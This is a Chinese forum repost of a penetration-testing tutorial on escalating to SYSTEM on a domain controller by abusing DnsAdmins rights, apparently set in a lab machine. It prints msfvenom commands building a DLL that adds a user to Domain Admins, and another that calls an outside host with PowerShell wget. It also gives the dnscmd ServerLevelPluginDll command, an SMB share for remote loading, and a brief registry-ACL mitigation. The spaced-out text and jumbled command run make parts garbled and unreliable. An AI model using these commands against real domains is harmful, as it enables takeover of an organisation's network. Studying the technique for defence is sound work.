搜索

[27226] 2021-04-12_域渗透利用DnsAdmins提权到SYSTEM

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-19
2021-04-12_域渗透利用DnsAdmins提权到SYSTEM 域 渗 透   |   利 用 D n s A d m i n s 提 权 到 S Y S T E M 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 4 - 1 2 收 录 于 话 题   # 内 网 安 全 小 组   , 2 8 个 文 章 来 源 ｜ 文 章 来 源 ｜ M S 0 8 0 6 7   公 众 号 读 者 投 稿 公 众 号 读 者 投 稿 本 文 作 者 ： V a s t S k y （ M s 0 8 0 6 7 实 验 室 读 者 ） 一 、 前 言 一 、 前 言     在 域 渗 透 中 ， 我 们 获 得 D N S 管 理 员 （ D N S A d m i n ） 权 限 后 ， 可 以 使 用 d n s c m d . e x e 命 令 对 域 进 行 配 置 管 理 。 我 们 查 阅 文 档 发 现 ： S e r v e r L e v e l P l u g i n D l l 服 务 器 没 有 对 此 操 作 中 指 定 的 D L L 路 径 进 行 任 何 验 证 。 接 下 来 的 文 章 中 ， 我 们 将 详 细 分 析 该 攻 击 的 实 现 。 这 个 功 能 将 在 某 些 情 况 下 可 以 在 域 控 制 器 上 以 S Y S T E M 身 份 运 行 任 意 代 码 ， 无 需 成 为 管 理 员 。 这 个 操 作 已 经 得 到 微 软 的 确 认 ， 这 不 是 一 个 安 全 漏 洞 。 但 这 仍 是 一 个 非 常 实 用 的 技 巧 ， 可 以 用 作 红 队 的 A D 特 权 提 升 当 中 。 二 、 利 用 条 件 二 、 利 用 条 件 D n s c m d ： 用 来 管 理 D N S 服 务 器 的 命 令 ， 可 以 远 程 使 用 。 默 认 情 况 下 ， 这 些 组 是 否 有 这 些 权 限 。 默 认 会 安 装 的 系 统 默 认 会 安 装 的 系 统 三 、 详 细 的 利 用 方 法 三 、 详 细 的 利 用 方 法 1 、 查 看 当 前 拥 有 用 户 的 组 、 查 看 当 前 拥 有 用 户 的 组 通 过 观 察 发 现 r y a n 用 户 属 于 C o n t r a c t o r s 组 ， 而 C o n t r a c t o r s 是 D N S a d m i n 的 组 。 D N S a d m i n 就 是 C o n t r a c t o r s 的 别 名 也 可 以 查 看 D n s A d m i n s 组 内 的 用 户 也 可 以 通 过 P o w e r V i e w 脚 本 查 看 D n s A d m i n s 组 内 的 用 户 2 、 、 d n s c m d . e x e 和 和 d n s c m d . e x e . m u i         默 认 系 统 上 上 s y s t e m 3 2 目 录 中 是 有 这 两 个 文 件 的 。 如 果 遇 到 没 有 ， 无 法 执 行 可 以 自 行 上 传 。         将 谷 歌 搜 索 出 来 d n s c m d . e x e 和 d n s c m d . e x e . m u i ， 下 载 到 目 标 系 统 的 时 候 ， 发 现 无 法 执 行 。 需 要 从 本 机 上 拷 贝 执 行 。 ( 1 ) 将 d n s c m d . e x e 保 存 在 C : W i n d o w s S y s t e m 3 2 下 可 用 下 载 地 址 : ( 2 ) 将 d n s c m d . e x e . m u i 保 存 在 D n s A d m i n s ,   D o m a i n   A d m i n s ,   E n t e r p r i s e   A d m i n s ,   A d m i n i s t r a t o r s   和   E N T E R P R I S E D O M A I N   C O N T R O L L E R S W i n d o w s   S e r v e r   2 0 0 3 W i n d o w s   S e r v e r   2 0 0 8 W i n d o w s   S e r v e r   2 0 0 3   R 2 W i n d o w s   S e r v e r   2 0 0 3   w i t h   S P 1 W i n d o w s   S e r v e r   2 0 0 8   R 2 W i n d o w s   S e r v e r   2 0 1 2 W i n d o w s   S e r v e r   2 0 1 6 （ 本 文 中 使 用 ） C : U s e r s r y a n D o c u m e n t s > w h o a m i / g r o u p s n e t   g r o u p   " D o m a i n A d m i n s "   / d o m a i n i m p o r t - m o d u l e   . P o w e r V i e w . p s 1 G e t - N e t G r o u p M e m b e r   - G r o u p N a m e " D N S A d m i n s " h t t p s : / / g i t h u b . c o m / 3 g s t u d e n t / t e s t / b l o b / m a s t e r / d n s c m d . e x e
可 用 下 载 地 址 : 注 ： d n s c m d . e x e 和 d n s c m d . e x e . m u i 是 在 我 的 测 试 系 统 ( W i n d o w s S e r v e r   2 0 0 8   R 2 x 6 4 ) 中 获 得 的 通 过 搜 索 服 务 器 的 通 过 搜 索 服 务 器 的 d n s c m d . e x e 和 和 d n s c m d . e x e . m u i 需 要 将 d n s c m d . e x e 和 d n s c m d . e x e . m u i 文 件 拷 贝 到 当 前 目 录 下 , 并 且 在 同 一 目 录 下 新 建 e n - U S 文 件 夹 将 d n s c m d . e x e . m u i 放 置 到 e n - U S 目 录 中 方 可 执 行 确 保 d n s c m d . e x e 可 以 执 行 3 、 生 成 攻 击 、 生 成 攻 击 d l l 和 验 证 和 验 证 d l l 当 目 标 机 器 上 边 有 杀 毒 ， 无 法 讲 m s f v e n o m 生 成 的 d l l 文 件 上 传 的 目 标 机 器 。 于 是 使 用 s m b 的 方 法 ， 远 程 包 含 路 径 执 行 1 0 . 1 0 . 1 4 . 1 9 3 s h a r e a d d D a . d l l 4 、 通 过 、 通 过 i m p a r k e t 启 动 启 动 s m b 服 务 器 服 务 器 5 、 执 行 攻 击 命 令 、 执 行 攻 击 命 令 对 于 D N S 服 务 器 来 说 ， 此 时 会 新 建 一 个 注 册 位 置 ： 6 、 查 看 被 添 加 用 户 组 、 查 看 被 添 加 用 户 组 C : W i n d o w s S y s t e m 3 2 e n - U S h t t p s : / / g i t h u b . c o m / 3 g s t u d e n t / t e s t / b l o b / m a s t e r / d n s c m d . e x e . m u i 命 令 ： f o r   / r   c :   % i   i n   ( d n s c m d . * )   d o   @ e c h o   % i c o p y c : W i n d o w s W i n S x S a m d 6 4 _ m i c r o s o f t - w i n d o w s - d n s - s e r v e r - d n s c m d _ 3 1 b f 3 8 5 6 a d 3 6 4 e 3 5 _ 1 0 . 0 . 1 4 3 9 3 . 3 1 7 9 _ n o n e _ 5 c f 9 4 c e 9 a 8 a f e 3 0 2 d n s c m d . e x e . m k d i r   e n - U S c o p y   c : W i n d o w s W i n S x S a m d 6 4 _ m i c r o s o f t - w i n d o w s - d . . e r - d n s c m d . r e s o u r c e s _ 3 1 b f 3 8 5 6 a d 3 6 4 e 3 5 _ 1 0 . 0 . 1 4 3 9 3 . 0 _ e n - u s _ 5 f 8 e 3 d b 3 d 7 a 8 5 5 6 1 d n s c m d . e x e . m u i . m s f v e n o m   - p w i n d o w s / x 6 4 / e x e c   c m d = ' n e t   g r o u p   " D o m a i n   A d m i n s "   m e l a n i e   / a d d   / d o m a i n ' - f   d l l   >   . / a d d D A . d l l m s f v e n o m   - p w i n d o w s / e x e c   c m d = ' p o w e r s h e l l   w g e t   - u r i   h t t p : / / 1 0 . 1 0 . 1 4 . 1 9 3 '   - f   d l l   > . / w g e t . d l l r o o t @ k a l i : ~ # s m b s e r v e r . p y   s h a r e   . / d n s c m d . e x e R e s o l u t e . m e g a b a n k . l o c a l   / c o n f i g   / s e r v e r l e v e l p l u g i n d l l 1 0 . 1 0 . 1 4 . 1 9 3 s h a r e a d d D a . d l l s c   s t o p   d n s s d   s t a r t   d n s H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t s e r v i c e s D N S P a r a m e t e r s S e r v e r L e v e l P l u g i n D l l R E G _ S Z 1 0 . 1 0 . 1 4 . 1 9 3 s h a r e a d d D a . d l l n e t   u s e r   m e l a n i e / d o m a i n
已 经 成 功 将 m e l a n i e 用 户 添 加 到 管 理 员 组 四 、 注 册 表 事 项 四 、 注 册 表 事 项 利 用 d n s c m d 在 D N S 服 务 器 上 实 现 远 程 加 载 D l l 时 ， 会 以 S y s t e m 权 限 修 改 注 册 表 ， 如 果 修 改 注 册 表 删 除 S y s t e m 用 户 的 S e t   V a l u e 权 限 ， 能 够 阻 止 这 个 方 法 的 利 用   五 、 参 考 资 料 五 、 参 考 资 料 h t t p s : / / m e d i u m . c o m / @ e s n e s e n o n / f e a t u r e - n o t - b u g - d n s a d m i n - t o - d c - c o m p r o m i s e - i n - o n e - l i n e - a 0 f 7 7 9 b 8 d c 8 3 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！     目 前 目 前 4 0 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们 K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t s e r v i c e s D N S P a r a m e t e r s H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t s e r v i c e s D N S P a r a m e t e r s 的 A C L ( A c c e s s C o n t r o l   L i s t )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理